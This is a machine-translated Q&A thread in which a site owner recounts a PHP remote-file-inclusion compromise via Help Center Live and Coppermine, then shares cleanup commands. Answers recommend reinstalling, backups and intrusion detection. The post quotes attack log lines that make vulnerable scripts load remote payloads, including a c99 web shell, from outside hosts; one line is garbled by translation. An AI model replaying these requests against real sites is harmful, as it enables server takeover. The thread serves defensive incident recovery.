PHP注入攻击 - 如何最好地清理混乱?

时间:2009-02-15 13:36:20

标签: php code-injection

有一段时间我的共享托管环境遭到入侵,因为我没有修复已安装的应用程序的组合。 上周,这是因为一个名为Help Center Live的PHP应用程序的旧的和未使用的安装。 结果是服务器上的每个PHP文件(我有几个Wordpress,Joomlas,SilverStripe安装)都添加了代码,从其他网站中提取隐藏链接并将其包含在我的页面中。其他人报告说,在这种攻击之后他们的网站被谷歌禁止了 - 幸运的是我似乎已经及早发现了它。当我从手机浏览其中一个网站时,我才注意到它 - 该页面上有移动浏览器中包含的链接。

我在日志中发现了许多像这样的攻击尝试:

62.149.18.193 - - [06 / Feb / 2009:14:52:45 +0000] “GET /support/module.php?module= 帮助中心//包括/ main.php?配置 [search_disp] =真安培; include_dir = http://www.portlandonnuri.com/ 2008_web // technote7 /数据/图片/ id2.txt ??? HTTP / 1.1“200 26” - “”libwww-perl / 5.814“

我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的PHP代码。我还发现该脚本创建了包含其他受感染网站链接的HTML文件。我也删除了它们。现在我担心攻击者可能遗漏了我错过的其他东西 - 某个地方的PHP文件会让他永久访问。文件日期都在攻击中被修改,我找不到在相关时间内更改的任何其他文件。为了确保我的服务器上没有后门,有没有明显错过的东西?

编辑:我还搜索包含攻击代码的文本文件,如上面日志文件片段中所示。我没找到。

另一个编辑: 如果您碰巧碰到这篇文章,因为您发现自己处于同样的境地,也许这会对您有所帮助。在操作它们之前,我用它来备份我的所有PHP源文件:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

这是为了撤消攻击者所做的更改:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

不是火箭科学,但对于像我这样的偶尔的Linux / Unix用户来说也不是微不足道的:-)。

另一个编辑: 我无法审核服务器上的每一行代码,但我可以搜索可疑数据。 我搜索了所有出现的“eval”和“base64”并没有找到任何看起来不合法的东西。 然后我为“.ru”运行了一个grep(因为肇事者似乎是从那里来的)而且,并且发现了一个叫做c99 shell的东西,我很快就将其删除了。

最终编辑: 我发现了c99 shell是如何上传的 - 通过Coppermine Photo Gallery中的一个洞。

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

IP地址,顺便说一句,是Godaddy托管的IP。

4 个答案:

答案 0 :(得分:19)

1。)保存您用于这些应用程序的文件的存储库(例如SVN或类似文件)

2。)每个应用安全更新尽可能保持最新(大多数都有RSS源)

3.。)定期备份您的数据库

如果/当@!#$击中粉丝时,您可以重新使用数据库的新副本,并从SVN重新部署代码。

答案 1 :(得分:4)

在您的系统组成后,您实际上只有两个选项:审核每个应用程序的每一行或重新安装所有内容。由于听起来这些都是开源或商业程序,因此您最好重新安装它们。确实没有更好的方法来确保你现在没有其中一个后门。

安全专家可能会建议您完全重新安装操作系统,因为您无法确定某些代码没有插入会影响操作系统的位置,但是如果您的权限设置正确,这可能会过度杀伤

答案 2 :(得分:1)

我们每天都会将完整的目录列表,所有驱动器和文件夹创建为文本文件。

在过去的事实上,它帮助我们发现了哪些文件被翻了过来。

对你现在的位置没什么帮助,但将来可能会有所帮助。

(不会阻止伪造他们的大小/修改日期的东西,但会帮助解决那些不打扰的事情)

答案 3 :(得分:1)

除了其他人所说的你可以安装一些入侵检测系统(例如,PHPIDS,这是开源)。